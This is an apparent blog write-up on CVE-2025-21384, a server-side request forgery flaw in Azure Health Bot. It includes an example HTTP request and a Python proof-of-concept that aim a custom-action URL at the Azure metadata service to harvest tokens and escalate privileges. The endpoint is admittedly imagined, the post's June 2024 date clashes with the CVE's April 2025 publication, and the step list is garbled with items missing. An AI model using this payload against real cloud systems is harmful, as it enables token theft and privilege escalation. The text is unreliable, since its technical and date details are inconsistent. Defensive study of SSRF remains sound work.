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*Date: June 2024*
*Author: SecureDev*

What is CVE-2025-21384?

CVE-2025-21384 is a serious security bug found in Microsoft Azure Health Bot, a service used for building healthcare chatbots. An attacker who is already logged in (authenticated) could abuse this flaw, making the system send requests to internal network resources. This type of vulnerability is called Server-Side Request Forgery (SSRF). Using SSRF, attackers can reach services they normally couldn’t and even grab more privileges inside the victim's Azure environment.

Why Should You Care?

Azure Health Bot is trusted by a lot of healthcare orgs and stores sensitive data. If someone gets more power than they should, your patients’ or users’ data could be at risk.

How Does the Attack Work?

The root of the problem: Azure Health Bot did not properly check the URLs that authenticated users gave it for integration features (like fetching data for chat responses). This means a logged-in attacker could:

The bot makes the request on behalf of the attacker, bypassing normal network restrictions.

3. Sensitive info from internal services flows back to the attacker, or the attacker can perform administrative actions.

Example Exploit Step-by-step

Scenario: You have user-level access to Azure Health Bot, but you want to access privileged internal endpoints (like metadata services, or database interfaces).

1. Find the Vulnerable Endpoint

In this case, imagine there’s an endpoint in Health Bot that lets admins create “custom actions” with URLs (for example, to fetch medical FAQs from a REST API):

POST /api/customAction
Authorization: Bearer eyJeXAiOiJKV1Qi... (attacker’s token)
Content-Type: application/json

{
  "name": "Fetch",
  "url": "http://169.254.169.254/metadata/instance?api-version=2021-01-01";,
  "method": "GET"
}

Notice: 169.254.169.254 is the IP for the Azure Instance Metadata Service—loads of secrets live here.

2. Trick the Bot

The Health Bot sends the request to the attacker’s chosen URL. Since the bot is on the internal network, it can reach resources the attacker cannot from the outside.

3. Get Sensitive Data

The response is sent back to the attacker’s interface, revealing secrets like access tokens or other sensitive metadata.

4. Elevate Privileges

Using the gained token, the attacker now authenticates as a more privileged user or service principal—jumping from “user” to “admin” inside Azure.

Simple Proof-of-Concept (PoC) Code

Here's a Python snippet using requests to exploit the bug (replace TOKEN with your real JWT and BOT_URL with the Health Bot endpoint):

import requests

BOT_URL = 'https://your-bot-host/api/customAction';
TOKEN = 'eyJeXAiOiJKV1Qi...'

data = {
    "name": "Attack",
    "url": "http://169.254.169.254/metadata/instance?api-version=2021-01-01";,
    "method": "GET"
}

headers = {
    "Authorization": f"Bearer {TOKEN}",
    "Content-Type": "application/json"
}

resp = requests.post(BOT_URL, json=data, headers=headers)
print(resp.text)  # Contains sensitive metadata info!

Impact

- Exposure of instance metadata, which may include managed identity tokens (enables attacks on other Azure resources).
- Lateral movement within the internal cloud network (possible access to databases, storage, or admin APIs).

Who is Affected?

Any org using Microsoft Azure Health Bot and allowing users to supply external URLs in action/integration settings. You are safe only if patches have been applied or strict URL whitelisting is enforced.

How to Protect Yourself

- Patch ASAP: Microsoft Security Advisory (check for latest updates!)

References & Further Reading

- Official CVE Record: CVE-2025-21384
- Microsoft Security Update Guide
- OWASP SSRF Cheat Sheet
- Azure Health Bot Documentation

In Simple Words

If you let users make your bot fetch things from the internet, always make sure you *really* know where your bot is going. Never trust user input when making network requests. SSRF can be subtle but deadly, especially in cloud environments.

Stay secure, and always keep your bots in check!

*This guide was exclusively compiled for educational and defensive purposes. Never exploit systems without permission.*

Timeline

Published on: 04/01/2025 01:15:17 UTC
Last modified on: 04/03/2025 21:15:15 UTC